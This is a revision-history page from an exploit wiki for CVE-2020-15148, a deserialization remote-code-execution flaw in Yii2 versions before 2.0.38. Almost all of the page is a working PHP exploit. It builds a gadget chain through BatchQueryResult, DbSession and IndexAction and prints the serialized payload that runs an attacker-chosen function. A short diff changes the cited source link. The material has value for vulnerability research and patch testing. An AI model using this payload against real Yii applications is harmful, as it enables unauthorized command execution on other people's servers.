CVE-2020-15148 Yii框架反序列化遠程命令執行漏洞 - Revision history

Pwnwiki: /* EXP 2 */

2021-05-12T13:19:21Z

EXP 2

Atsud0 at 02:06, 10 May 2021

2021-05-10T02:06:33Z

Pwnwiki: Created page with "==INFO== Yii2 <2.0.38 ==EXP==

  
2021-04-10T05:26:54Z
Created page with "==INFO== Yii2 <2.0.38   ==EXP== <pre>  <?php namespace yii\rest {     class Action extends \yii\base\Action     {         public $checkAccess;     }     class IndexAction exte..."
New page
==INFO==

Yii2 <2.0.38





==EXP==

<pre>



<?php

namespace yii\rest {

    class Action extends \yii\base\Action

    {

        public $checkAccess;

    }

    class IndexAction extends Action

    {

        public function __construct($func, $param)

        {

            $this->checkAccess = $func;

            $this->id = $param;

        }

    }

}

namespace yii\web {

    abstract class MultiFieldSession

    {

        public $writeCallback;

    }

    class DbSession extends MultiFieldSession

    {

        public function __construct($func, $param)

        {

            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];

        }

    }

}

namespace yii\base {

    class BaseObject

    {

        //

    }

    class Action

    {

        public $id;

    }

}

namespace yii\db {

    use yii\base\BaseObject;

    class BatchQueryResult extends BaseObject

    {

        private $_dataReader;

        public function __construct($func, $param)

        {

            $this->_dataReader = new \yii\web\DbSession($func, $param);

        }

    }

}

$exp = new \yii\db\BatchQueryResult($func, $param);

print(serialize($exp));

</pre>

@@ Line 60: / Line 60: @@
 ==EXP 2==
-来源：[https://xz.aliyun.com/t/8307 CVE-2020-15148 Yii2反序列化RCE POP链分析 ]
+來源：[https://xz.aliyun.com/t/8307 CVE-2020-15148 Yii2反序列化RCE POP链分析 ]
 <pre>